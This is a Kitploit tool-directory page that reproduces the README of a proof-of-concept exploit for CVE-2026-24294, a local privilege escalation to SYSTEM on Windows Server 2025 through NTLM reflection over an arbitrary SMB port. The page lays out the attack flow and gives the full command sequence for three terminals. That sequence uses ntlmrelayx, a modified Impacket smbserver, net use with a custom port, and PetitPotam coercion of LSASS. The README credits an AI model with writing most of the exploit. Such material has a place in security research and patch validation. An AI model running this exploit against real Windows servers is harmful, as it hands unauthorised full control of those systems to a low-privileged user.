Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24294 — Local privilege escalation PoC for CVE-2026-24294, abusing SMB arbitrary port and NTLM reflection to achieve SYSTEM on Windows Server 2025. | Kitploit
Tools/GitHubGitHub/0xndi/cve-2026-24294
Privilege EscalationVulnerability AnalysisExploitationLateral MovementPenetration TestingRed Teaming
GitHub0xndi/cve-2026-24294

CVE-2026-24294

Local privilege escalation PoC for CVE-2026-24294, abusing SMB arbitrary port and NTLM reflection to achieve SYSTEM on Windows Server 2025.

View Repository
5363 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24294 - Local NTLM Reflection LPE via SMB Arbitrary Port

Local privilege escalation on Windows Server 2025 via NTLM reflection, abusing the SMB arbitrary port feature introduced in Windows 11 24H2 / Server 2025.

Vulnerability

Windows 11 24H2 / Server 2025 introduced an SMB client feature that allows connections on arbitrary TCP ports (net use \\host\share /tcpport:PORT). Combined with SMB session multiplexing (MS-SMB2 Section 3.2.4.2), this enables local NTLM reflection — a low-privilege user can coerce a privileged service (LSASS) to authenticate to an attacker-controlled SMB server on a non-standard port, then relay the captured NTLM auth back to the real SMB service on port 445.

Impact: NT AUTHORITY\SYSTEM from any local user.

Affected: Windows Server 2025 (default config). Windows 11 24H2 enforces SMB signing, blocking the relay.

Attack Flow

root@kitploit:~
 LSASS (SYSTEM) ──NTLM──► SMB Client ──TCP:12345──► smbserver.py (ours)
                                                   │
                                                   ▼ relay NTLM blob
 SMB Service (:445) ◄────────────────── ntlmrelayx.py
 ← SYSTEM session
  1. net use opens a TCP connection to our SMB server on a custom port
  2. PetitPotam coerces LSASS to authenticate to \\127.0.0.1\share
  3. The SMB client reuses the existing TCP connection (session multiplexing)
  4. Our smbserver captures the privileged NTLM blob and relays it via ntlmrelayx
  5. ntlmrelayx authenticates to the real SMB service on port 445 as SYSTEM

Requirements

  • Windows Server 2025 target
  • Python 3 with Impacket
  • PetitPotam.exe (build from source with Visual Studio, see PetitPotam/)

Usage

Open 3 terminals.

Terminal 1 — Start ntlmrelayx (listens on RAW port 6666, relays to localhost SMB):

root@kitploit:~
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666

Terminal 2 — Start modified smbserver (listens on port 12345, relays NTLM to port 6666):

root@kitploit:~
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666

Terminal 3 — Run the exploit:

root@kitploit:~
:: Mount share on custom port (opens persistent TCP connection)
net use \\127.0.0.1\test /tcpport:12345 /user:user user

:: Coerce LSASS to authenticate to our SMB server
PetitPotam.exe 127.0.0.1 localhost 2

The whoami output from ntlmrelayx will show NT AUTHORITY\SYSTEM.

Components

  • PetitPotam/ — Modified PetitPotam source. Two changes from upstream:
    • UUID: df1941c5-fe89-4e79-bf10-463657acf44d (WS2025 EFSRPC interface)
    • Named pipe: \pipe\efsrpc
    • Uses API #2 (EfsRpcEncryptFileSrv), share name hardcoded as test
  • smbserver.py — Modified impacket smbserver with -relay-port flag. Hooks SMB2 SESSION_SETUP to capture a second NTLM authentication on a multiplexed connection and relay it to a RAW relay server (ntlmrelayx --raw-port).

Credits

This PoC was mostly written by AI (GLM 5.1) based on the research and techniques described in:

  • Bypassing Windows Authentication Reflection Mitigations for System Shells — Guillaume André, Synacktiv

References

  • CVE-2026-24294 — Microsoft Security Response Center
  • PetitPotam — Gilles Lionel
  • Impacket — Fortra
Download Tool